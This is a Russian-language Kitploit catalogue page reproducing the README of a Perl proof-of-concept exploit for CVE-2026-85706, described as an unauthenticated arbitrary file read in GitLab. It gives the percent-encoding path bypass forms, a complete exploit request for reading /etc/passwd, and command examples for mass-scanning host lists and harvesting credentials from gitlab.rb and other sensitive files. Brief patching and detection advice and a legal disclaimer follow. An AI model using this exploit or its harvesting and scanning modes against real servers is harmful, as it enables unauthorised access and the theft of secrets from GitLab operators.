Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/gabrielunknown/cve-2026-85706
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC, эксплуатирующий CVE-2026-85706 — неаутентифицированный обход пути в GitLab, позволяющий произвольное чтение файлов, с массовым сканированием и сбором учётных данных.

Репозиторий
8 ч 39 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-85706 — Неаутентифицированное чтение произвольных файлов в GitLab

CVSS GitLab License MITRE

Только для авторизованного тестирования на проникновение и операций Red Team.
Несанкционированное использование является уголовным преступлением. См. Правовое уведомление.


Обзор

CVE-2026-85706 — это уязвимость обхода пути (path traversal) с оценкой CVSS 10.0 в GitLab Community и Enterprise Editions, позволяющая полностью неаутентифицированному атакующему прочитать произвольные файлы из файловой системы сервера одним HTTP-запросом. Не требуются учётные данные, токен или взаимодействие с пользователем.

  • Раскрыта: 10 сентября 2026 г.
  • Первая эксплуатация зафиксирована: 11 сентября 2026 г. (в течение 6 часов после раскрытия)
  • Добавлена в CISA KEV: 11 сентября 2026 г.
  • Исправлена в: GitLab 19.1.8 / 19.2.6 / 19.3.2

  • Уязвимые версии

    ВеткаУязвимый диапазонИсправлено в
    18.x18.7 → 19.1.719.1.8
    19.219.2.0 → 19.2.519.2.6
    19.319.3.0 → 19.3.119.3.2

    Технический анализ

    Архитектурный контекст

    HTTP-стек GitLab состоит из трёх уровней:

    root@kitploit:~
    Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
    

    Workhorse действует как умный обратный прокси: для определённых «upload»-эндпоинтов (коммиты репозитория, файловые операции) он читает тела multipart-запросов, сохраняет данные файлов на диск и перезаписывает запрос перед передачей в Puma. Ключевой момент: он прикрепляет JWT-заголовок (Gitlab-Workhorse-Api-Request) к каждому проксируемому запросу. Затем Rails валидирует этот JWT (через require_gitlab_workhorse!) перед выполнением любой логики обработчика.

    Первопричина — несоответствие декодирования путей на трёх уровнях

    Уровень 1 — сопоставление маршрутов Workhorse:
    Workhorse сопоставляет пути запросов с помощью скомпилированного регулярного выражения, работающего с сырой, процентно-кодированной байтовой строкой. Он НЕ декодирует последовательности %XX перед сопоставлением.

    Уровень 2 — маршрутизация Puma/Rack:
    Puma декодирует последовательности %XX до того, как Grape маршрутизирует запрос. Поэтому запрос к /repository/%63ommits декодируется в /repository/commits и направляется в CommitsController.

    Уровень 3 — чтение файла до аутентификации:
    Попав в обработчик Rails (который достигается без JWT Workhorse, поскольку Workhorse так и не сопоставил запрос), обработчик читает params[:file][:path] из строки запроса и вызывает:

    root@kitploit:~
    File.open(params[:file][:path])   # ← происходит ДО аутентификации
    

    Трюк обхода

    Процентно-кодируя один символ в статическом сегменте пути, запрос атакующего проскальзывает мимо Workhorse незамеченным:

    СегментОригиналФорма обходаКодируемый символ
    commitscommits%63ommitsc → %63
    commitscommits%43ommitsC → %43
    repositoryrepository%72epositoryr → %72
    filesfiles%66ilesf → %66
    (любой)commitscommits/завершающий слэш
    (любой)commitscommits.jsonсуффикс Grape

    Механизм эксфильтрации содержимого

    После открытия файла его содержимое эксфильтрируется через парсер строки запроса Rack:

    root@kitploit:~
    Rack::Utils.parse_nested_query(File.read(path))
    

    Если файл содержит %, за которым не следуют две допустимые шестнадцатеричные цифры (что часто встречается в конфигурационных файлах Ruby, CI YAML, логах и т. д.), Rack вызывает:

    root@kitploit:~
    InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
    

    Тело этого 400-ответа содержит сырое содержимое файла вплоть до проблемного байта включительно — раскрывая содержимое файла неаутентифицированному вызывающему.

    Файлы без эксплуатируемых последовательностей % (например, чистый /etc/passwd) возвращают 401 или ошибку валидации параметров после чтения: это действует как оракул существования файла (чтение всё равно произошло до аутентификации).

    Структура эксплойт-запроса

    root@kitploit:~
    POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
    Host: gitlab.corp.com
    User-Agent: cve-2026-85706-perl-poc/1.0.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Сопоставление с MITRE ATT&CK

    ТехникаIDРеализация в этом PoC
    File and Directory DiscoveryT1083Режим --scan проверяет 38 чувствительных путей сервера
    Credentials In FilesT1552.001--harvest извлекает ключи/токены/пароли из утёкшего содержимого

    Установка

    Требования

    МодульПакетРоль
    LWP::UserAgentlibwww-perlHTTP-клиент (обязательно)
    LWP::Protocol::httpslibwww-perlПоддержка HTTPS (обязательно)
    URI::Escapeliburi-perlКодирование строки запроса (обязательно)
    Term::ANSIColorlibterm-ansicolor-perlЦветной вывод (опционально)
    JSONlibjson-perlРежим вывода JSON (опционально)
    root@kitploit:~
    # Debian/Ubuntu
    apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
    
    # RHEL/Fedora
    sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
    
    # CPAN
    cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
    
    # Make executable
    chmod +x exploit.pl
    

    Использование

    root@kitploit:~
    Usage: exploit.pl [OPTIONS]
    
    Target:
      -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
      -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                                  Commits API forms: project must be anonymously accessible
                                  Files API forms:   any value works (file read precedes auth)
    
    Exploitability check:
      -c, --check                Single-target check (quick by default — ≤9 requests)
          --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
      -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                                 Add --full for the 4-stage sweep on every host
    
    Single-file read:
      -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)
    
    Scan mode (T1083 — File and Directory Discovery):
      -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
      -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
      -H, --harvest              Extract credentials from leaked content (T1552.001)
    
    Output:
      -o, --output <FILE>        Tee all output to file
      -j, --json                 Emit results as JSON array (requires JSON.pm)
      -v, --verbose              Print full request URL before each probe
          --no-color             Disable ANSI colour output
    
    Connection:
      -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
      -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
      -r, --retries <N>          Retry count on connection error  [default: 2]
      -A, --user-agent <STR>     Override User-Agent string
    

    Быстрая и полная проверка

    Быстрая (по умолчанию)Полная (--full)
    Запросы≤9 (1 предварительный + ≤4×2)27+
    Ранний выходДа — останавливается при первом подтверждённом различииНет — перебирает все 22 формы
    Информация о версииНетДа
    Формы обхода4 репрезентативные Files APIВсе 22 (Commits + Files API)
    Лучше всего дляБыстрой разведки, больших списков хостовОтчётов пентеста, подготовки --file/--scan

    Конвейер быстрой проверки:

    1. GET /api/v4/version — доступность + признак GitLab
    2. Для каждой из 4 форм обхода Files API: проверка /etc/hostname + уникальный канареечный маркер
    3. canary → 'local file not present' ∧ hostname ≠ canary → УЯЗВИМ (немедленный выход)
    4. Все формы исчерпаны без различий → НЕ УЯЗВИМ

    Конвейер полной проверки (--full):

    1. Обнаружение GitLab + фингерпринтинг версии
    2. Контрольная проверка (базовая линия Workhorse)
    3. Все 22 формы обхода × канареечный путь
    4. Дифференциальное подтверждение с лучшей подтверждённой формой

    --project-id и режимы проверки

    Флаг --project-id можно использовать в любом режиме, включая --check и --check-host-list. Понимание взаимодействия:

    Группа обходаФормыЗависимость от project ID
    Files API (%66iles, %46iles, re%70ository/files, …)14Нет — чтение файла предшествует проверке проекта по замыслу CVE. Любой ID (даже несуществующий) даёт корректный сигнал.
    Commits API (%63ommits, %43ommits, repository/commits/, …)8Требуется — проект должен существовать и быть анонимно читаемым. В противном случае возвращает project-gate.

    Практические рекомендации:

    • --check (быстрая): использует только формы Files API → project ID не имеет значения.
    • --check --full: тестирует все 22 формы. Если вы знаете публичный project ID, передайте --project-id <N>, чтобы также подтвердить формы Commits API.
    • --check-host-list: один --project-id редко соответствует публичному проекту на всех хостах. Опустите его.

    Примеры

    root@kitploit:~
    # Quick check — ≤9 requests, binary verdict
    ./exploit.pl -u https://gitlab.corp.com --check
    
    # Quick check with known public project (extends Commits API coverage in --full mode)
    ./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)
    
    # Full 4-stage check — version + all 22 bypass forms enumerated
    ./exploit.pl -u https://gitlab.corp.com --check --full
    
    # Quick scan of a host list (≤9 probes per host)
    ./exploit.pl --check-host-list targets.txt
    
    # Full scan of a host list (version info in summary table)
    ./exploit.pl --check-host-list targets.txt --full
    
    # Host list, JSON output for pipeline integration
    ./exploit.pl --check-host-list targets.txt --json --output results.json
    
    # Host list with 2-second inter-host delay and saved report
    ./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
    
    # Read a single file
    ./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
    
    # Read GitLab master config and extract credentials
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
    
    # Full discovery scan with credential harvesting, log to file
    ./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
    
    # Custom wordlist, JSON output, 1-second delay between requests
    ./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
    
    # Verbose single-file read (shows full request URLs)
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
    

    Вердикты ответов

    ВердиктЗначение
    leakСодержимое файла отражено в теле ответа через ошибку парсинга Rack
    leak-fragmentЧастичное отражение содержимого через фрагмент имени параметра
    read-noechoHTTP 401 на пути обхода — неоднозначно: либо чтение файла произошло до аутентификации (уязвимо, чистое содержимое без плохой %-последовательности), либо аутентификация срабатывает до чтения (пропатченный сервер). Используйте --check для подтверждения через дифференциал
    missingПуть обхода сработал; обработчик достигнут; файл отсутствует или нечитаем
    rewriteWorkhorse перехватил эту форму пути — обход не удался
    project-gateCommits API отклонил проект; попробуйте формы Files API
    norouteRails не маршрутизировал этот вариант пути

    Улучшения по сравнению с оригинальным Python PoC

    ФункцияPython PoCЭтот Perl PoC
    Варианты путей обхода615
    Массовое сканирование файлов (T1083)✗✓ Встроенный список из 38 путей
    Сбор учётных данных (T1552.001)✗✓ 22 шаблона учётных данных
    Вывод JSON✗✓ --json
    Вывод в файл / tee✗✓ --output
    Сообщения оракула существования файлаБазовыеЯвные, с цветовой кодировкой
    Логика повторных попыток✗✓ Настраиваемые --retries
    Задержка между запросами✗✓ --delay (дробные секунды)
    Пользовательский User-Agent✗✓ --user-agent
    Namespace/project IDs✗✓ Автокодирование / → %2F
    Подробный режим✗✓ --verbose

    Устранение уязвимости

    1. Немедленно пропатчить: Обновитесь до GitLab 19.1.8, 19.2.6 или 19.3.2.
    2. Краткосрочно: Ограничьте публичный доступ к экземпляру GitLab с помощью сетевых средств контроля.
    3. Ротация учётных данных: После патча смените все секреты, которые могли быть раскрыты:
      • secret_key_base и otp_key_base в gitlab.rb
      • Пароли баз данных
      • SSH-ключи (/home/git/.ssh/, /root/.ssh/)
      • Переменные CI/CD и токены регистрации runner
      • Deploy-токены и персональные токены доступа

    Обнаружение

    Ищите POST или PUT запросы к путям /api/v4/projects/*/repository/, содержащим:

    • Процентно-кодированные статические сегменты (%63, %43, %72, %70, %66, %46 и т. д.)
    • Параметр строки запроса file.path
    • Завершающий слэш или суффикс формата .json на эндпоинтах commits или files

    Ссылки

    • CVE Record — cve.org
    • GitLab Patch Release 19.3.2
    • The Hacker News — CVSS 10 coverage
    • Forkast News — Technical breakdown
    • Security Affairs — Active exploitation
    • Python PoC — guneykabel
    • MITRE T1083 — File and Directory Discovery
    • MITRE T1552.001 — Credentials In Files

    Правовое уведомление

    Этот инструмент предоставляется исключительно для:

    • Авторизованных работ по тестированию на проникновение (требуется письменное разрешение)
    • Операций Red Team в рамках договорного объёма работ
    • Исследований в области безопасности в контролируемых изолированных лабораторных средах
    • Соревнований CTF (Capture The Flag)
    • Защитных целей: понимание уязвимости для её обнаружения/устранения

    Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным практически в любой юрисдикции и может повлечь уголовное преследование в соответствии с законами о неправомерном использовании компьютеров (CFAA, Computer Misuse Act и т. д.).

    Автор и участники этого инструмента не несут никакой ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.


    Благодарности

    • Оригинальный Python PoC: guneykabel — первоначальный proof-of-concept, продемонстрировавший основную технику обхода
    • Присвоение CVE и раскрытие: GitLab Security Team
    • Этот Perl PoC: Расширенный движок обнаружения множества форм, сбор учётных данных, массовое сканирование, вывод JSON для конвейеров и логика дифференциального подтверждения
    Скачать инструмент